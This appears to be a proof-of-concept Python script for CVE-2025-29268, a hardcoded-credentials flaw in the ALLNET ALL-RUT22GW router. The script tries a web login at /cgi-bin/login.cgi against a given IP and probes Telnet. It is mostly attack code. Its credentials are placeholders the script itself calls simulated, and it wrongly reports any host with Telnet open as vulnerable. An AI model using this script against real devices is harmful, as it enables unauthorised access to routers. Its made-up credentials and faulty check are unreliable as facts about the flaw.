CVE-2025-29268: ALLNET ALL-RUT22GW硬编码凭证漏洞

#!/usr/bin/env python3 """ CVE-2025-29268 PoC - ALLNET ALL-RUT22GW Hardcoded Credentials This PoC demonstrates authentication bypass using hardcoded credentials stored in the libicos.so library. WARNING: For authorized security testing only! """ import requests import sys from urllib.parse import urljoin def extract_hardcoded_credentials(): """ Simulate extracting hardcoded credentials from libicos.so In real attack, this would involve firmware extraction and analysis: 1. Download firmware from vendor 2. Extract using binwalk 3. Analyze libicos.so for strings """ # Simulated hardcoded credentials (derived from firmware analysis) credentials = { "username": "admin", "password": "default_password_icos", "api_key": "hardcoded_api_key_12345" } return credentials def check_vulnerability(target_ip, timeout=10): """ Check if target is vulnerable to CVE-2025-29268 """ target_url = f"http://{target_ip}" try: # Test 1: Check if web interface is accessible response = requests.get(target_url, timeout=timeout) if response.status_code != 200: print(f"[-] Web interface not accessible on {target_ip}") return False # Test 2: Attempt authentication with hardcoded credentials creds = extract_hardcoded_credentials() # Try web interface login login_data = { "username": creds["username"], "password": creds["password"] } login_url = urljoin(target_url, "/cgi-bin/login.cgi") login_response = requests.post(login_url, data=login_data, timeout=timeout) if login_response.status_code == 200 and "session" in login_response.text.lower(): print(f"[+] VULNERABLE: Successfully authenticated with hardcoded credentials!") print(f"[+] Username: {creds['username']}") print(f"[+] Password: {creds['password']}") return True # Try Telnet access import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((target_ip, 23)) if result == 0: print(f"[+] Telnet port open on {target_ip}") print(f"[+] Try credentials: {creds['username']}/{creds['password']}") return True sock.close() return False except requests.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Checking CVE-2025-29268 on {target}") print(f"[*] ALLNET ALL-RUT22GW Hardcoded Credentials Scanner") is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2025-29268") print("[!] Immediate action required!") else: print("\n[-] Target does not appear to be vulnerable") if __name__ == "__main__": main()